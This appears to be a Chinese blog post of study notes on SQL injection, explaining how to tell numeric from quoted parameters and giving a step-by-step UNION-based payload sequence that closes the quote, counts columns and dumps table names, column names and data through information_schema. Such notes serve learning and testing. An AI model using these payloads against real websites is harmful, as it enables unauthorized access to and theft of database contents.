0
点赞
收藏
分享

微信扫一扫

sql 注入笔记

SQL注入

判断数字型和字符型还有闭合的原理

  • 数字型的sql语句:
select * from user where id=1;
  • 字符型的sql语句:
select * from user where id='1';
select * from user where id="1";

拿数字型来说,你不管在后面加单引号还是双引号,都会导致语句错误而报错,那么两种引号都报错,我们就可以判定为数字型;

字符型的话,拿单引号类型来说,加入单引号之后:

id='1''

会导致语句后面多出来一个单引号,使得语句错误,如果加入双引号:

id='1"'

双引号被单引号包裹着,那么会将双引号也认为是一个字符,所以并不会报错,从而可以判断出是单引号闭合。双引号类型也是同理,只是引号相反而已。

总结:两种引号都报错为字符型,单引号报错双引号不报错为单引号闭合,双引号报错单引号不报错为双引号闭合,字符型最后要加注释符注释掉闭合后多余出来的引号。

Union 注入

select直接加数字串时,可以不写后面的表名,那么它输出的内容就是我们select后的数字,在 union 注入中可以快速测试每个数字对应的内容。

所以可以使用 select 1,2,3... 来判断所在列的位置。

字符型注入的大致步骤

  1. 闭合单引号

    ?id=1' or 1=1 %23
    
  2. 注入出字段数

    ?id=1' order by 3 %23
    ?id=1' union select 1,2,3 %23
    
  3. 表名

    ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23
    
  4. 列名

    ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=... %23
    
  5. 数据

    ?id=-1' union select 1,2,group_concat(...) from ... %23
    

其中 group_concat 是用 “,” 联合多行记录的函数,table_name 字段是 information_schema 库中 tables 表的表名字段,表中还有数据库名字段 table_schema,database() 函数返回的内容是当前数据库的名称。

举报

相关推荐

0 条评论